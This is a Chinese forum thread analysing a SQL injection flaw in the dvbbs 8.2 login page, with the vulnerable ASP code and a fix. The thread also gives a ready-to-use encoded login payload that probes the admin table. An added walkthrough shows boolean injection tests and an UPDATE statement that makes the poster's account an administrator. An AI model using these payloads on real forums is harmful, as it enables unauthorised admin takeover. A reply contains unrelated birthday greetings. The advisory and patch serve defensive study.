服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 5046|回复: 1

dvbbs 8.2 SQL注射漏洞分析

[复制链接]
dirtysea 发表于 2008-6-2 20:42:46 | 显示全部楼层 |阅读模式

漏洞公告: http://seclists.org/bugtraq/2008/May/0330.html
利用方式: 一个典型的sql注射漏洞,按照公告里说的用
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271
就可触发.
漏洞分析:动网在asp领域也算一个比较元老的程序,这次在8.2新版里有一个低级的错误.漏洞代码在login.asp 118行左右


......

username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)

......

取得的username是先经过检查然后再unescape解码,导致用urlencode模式就可以饶过任何检查,和php的urldecode导致的注射很类似,譬如用%2527就可以提交’过去了.
修补方案:修补也很简单,将上述代码改成

......

username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = trim(Dvbbs.CheckStr(unescape(username)))

......

 

 

 

 

在用户名处写入“heiseshuiyin' and 'a'='a”密码随便登陆看到其返回信息如图3:看用户名或密码不正确,然后我们在“heiseshuiyin' and 'a'='b”返回的信息如图4:很明显我们能发现第一次提交正确和第二次提交的不正确时两者返回的信息有着明显的差别。就说明他是可以利用的。那我就来将我的帐户提升为管理员吧!在用户名处写入“';update dv_user set usergroupid=1 where username='heiseshuiyin'--”密码我就用正确的shuiyin来写然后写好后登陆看到反回的信息入图5:我们可以看到登陆提示为“本论坛不存在该用户名”这个就说明我们所提升的帐户“heiseshuiyin”已经为管理员了。

刚写第一个就出现这个了.....不信可以试下~

chewang 发表于 2006-6-9 20:42:08 | 显示全部楼层

re:dvbbs 8.2 SQL注射漏洞分析

回复: Angela

海哥,我是瑶瑶,我上次还在想,好像你的生日快到了呢~海哥祝你生日快乐~我生日的时候你送我那么漂亮一束花~你的生日我都没有来得及表示点什么~嗯~但祝福是诚挚的,瑶妹真心的祝福你快乐~一切都好~回来请你吃火锅~呵呵~


生日快乐~天天快乐~


  祝你生日快乐,祝你生日快乐,祝你生日快乐~祝你生日快乐~~~~~海哥,生日快乐~happy birthday to zhanghai~


跟我曾经喜欢的那个女孩同名,但不知道是不是同姓,但愿意不是,如果是真的只会让我更加伤感!

在我到这个家的第一天,看到海哥写的一些文章,我就一直认为海哥是个多愁善感的人,不知道现实生活中的你,是不是这样,如果是这样,多半也是为情所愁为情所感。

黑客是孤独的,是冷漠的,但再孤独在冷漠的黑客,他也有自己的爱情!!

海哥:HAPPY BIRTHDAY !!!!!!

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-3-28 23:49 , Processed in 0.069693 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表